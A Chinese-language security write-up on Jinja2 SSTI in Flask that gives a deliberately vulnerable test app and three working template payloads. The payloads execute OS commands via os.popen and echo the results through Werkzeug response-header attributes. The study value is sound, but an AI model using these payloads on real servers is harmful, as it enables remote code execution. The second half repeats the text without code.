Jinja2-SSTI 新回显方式技术学习
字数 1233 2025-08-22 12:22:48

Jinja2-SSTI 新型回显方式技术研究

前言

本文深入研究了 Jinja2 模板引擎中服务器端模板注入(SSTI)的新型回显技术,通过分析 Flask 框架底层实现,探索了多种通过 HTTP 响应包回显命令执行结果的方法。

环境搭建

使用以下 Flask 应用作为测试环境:

from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/', methods=["POST"])
def template():
    template = request.form.get("code")
    result = render_template_string(template)
    print(result)
    if result != None:
        return "OK"
    else:
        return "error"

if __name__ == '__main__':
    app.run(debug=False, host='0.0.0.0', port=8000)

HTTP 响应包生成过程分析

请求处理流程

  1. process_request_thread (socketserver.py:683) - 处理请求的线程入口
  2. run (threading.py:953) - 线程运行
  3. _bootstrap_inner (threading.py:1016) - 线程内部引导
  4. _bootstrap (threading.py:973) - 线程引导

关键方法分析:

def process_request_thread(self, request, client_address):
    try:
        self.finish_request(request, client_address)
    except Exception:
        self.handle_error(request, client_address)
    finally:
        self.shutdown_request(request)

请求处理核心方法

  1. finish_request 方法实例化 RequestHandlerClass:
def finish_request(self, request, client_address):
    self.RequestHandlerClass(request, client_address, self)
  1. RequestHandlerClass 初始化时调用 handle() 方法:
def __init__(self, request, client_address, server):
    self.request = request
    self.client_address = client_address
    self.server = server
    self.setup()
    try:
        self.handle()
    finally:
        self.finish()
  1. handle_one_request 方法解析请求:
def handle_one_request(self):
    self.raw_requestline = self.rfile.readline(65537)
    if len(self.raw_requestline) > 65536:
        self.send_error(HTTPStatus.REQUEST_URI_TOO_LONG)
        return
    if not self.raw_requestline:
        self.close_connection = True
        return
    if not self.parse_request():
        return
    mname = 'do_' + self.command
    if not hasattr(self, mname):
        self.send_error(HTTPStatus.NOT_IMPLEMENTED)
        return
    method = getattr(self, mname)
    method()
    self.wfile.flush()

回显技术实现

1. 修改 protocol_version 回显

通过修改 WSGIRequestHandlerprotocol_version 属性实现回显:

{{ lipsum.__globals__.__builtins__.setattr(
    lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler, 
    "protocol_version", 
    lipsum.__globals__.__builtins__.__import__('os').popen('echo success').read()
)}}

2. 修改 Server 头回显

通过修改 server_version 属性实现 Server 头回显:

{{ lipsum.__globals__.__builtins__.setattr(
    lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler, 
    "server_version", 
    lipsum.__globals__.__builtins__.__import__('os').popen('echo success').read()
)}}

3. 修改 Python 版本信息回显

通过修改 sys_version 属性实现 Python 版本信息回显:

{{ lipsum.__globals__.__builtins__.setattr(
    lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler, 
    "sys_version", 
    lipsum.__globals__.__builtins__.__import__('os').popen('echo success2').read()
)}}

技术原理

  1. 模块获取:通过 sys.modules 获取 werkzeug.serving 模块
  2. 对象访问:访问 WSGIRequestHandler
  3. 属性修改:使用 setattr 修改关键属性值
  4. 命令执行:通过 os.popen 执行系统命令并获取输出

关键点总结

  1. 利用 lipsum 或其他内置对象的 __globals__ 属性访问系统模块
  2. 通过 __spec__.__init__.__globals__.sys.modules 获取系统模块
  3. 定位到 werkzeug.serving.WSGIRequestHandler
  4. 修改该类中的以下属性实现回显:
    • protocol_version
    • server_version
    • sys_version

防御建议

  1. 避免直接使用用户输入渲染模板
  2. 对模板变量进行严格过滤
  3. 使用安全的模板渲染方式
  4. 限制模板中可以访问的对象和方法

扩展思考

虽然文中提到尝试通过修改 500 错误页面实现回显未成功,但这种思路值得进一步探索。其他可能的回显点包括:

  1. 修改 Content-Type 头
  2. 修改 Date 头
  3. 修改其他自定义响应头

这些技术为 Jinja2 SSTI 漏洞利用提供了新的思路,特别是在常规回显方式被限制的情况下。

Jinja2-SSTI 新型回显方式技术研究 前言 本文深入研究了 Jinja2 模板引擎中服务器端模板注入(SSTI)的新型回显技术,通过分析 Flask 框架底层实现,探索了多种通过 HTTP 响应包回显命令执行结果的方法。 环境搭建 使用以下 Flask 应用作为测试环境: HTTP 响应包生成过程分析 请求处理流程 process_request_thread (socketserver.py:683) - 处理请求的线程入口 run (threading.py:953) - 线程运行 _bootstrap_inner (threading.py:1016) - 线程内部引导 _bootstrap (threading.py:973) - 线程引导 关键方法分析: 请求处理核心方法 finish_request 方法实例化 RequestHandlerClass : RequestHandlerClass 初始化时调用 handle() 方法: handle_one_request 方法解析请求: 回显技术实现 1. 修改 protocol_ version 回显 通过修改 WSGIRequestHandler 的 protocol_version 属性实现回显: 2. 修改 Server 头回显 通过修改 server_version 属性实现 Server 头回显: 3. 修改 Python 版本信息回显 通过修改 sys_version 属性实现 Python 版本信息回显: 技术原理 模块获取 :通过 sys.modules 获取 werkzeug.serving 模块 对象访问 :访问 WSGIRequestHandler 类 属性修改 :使用 setattr 修改关键属性值 命令执行 :通过 os.popen 执行系统命令并获取输出 关键点总结 利用 lipsum 或其他内置对象的 __globals__ 属性访问系统模块 通过 __spec__.__init__.__globals__.sys.modules 获取系统模块 定位到 werkzeug.serving.WSGIRequestHandler 类 修改该类中的以下属性实现回显: protocol_version server_version sys_version 防御建议 避免直接使用用户输入渲染模板 对模板变量进行严格过滤 使用安全的模板渲染方式 限制模板中可以访问的对象和方法 扩展思考 虽然文中提到尝试通过修改 500 错误页面实现回显未成功,但这种思路值得进一步探索。其他可能的回显点包括: 修改 Content-Type 头 修改 Date 头 修改其他自定义响应头 这些技术为 Jinja2 SSTI 漏洞利用提供了新的思路,特别是在常规回显方式被限制的情况下。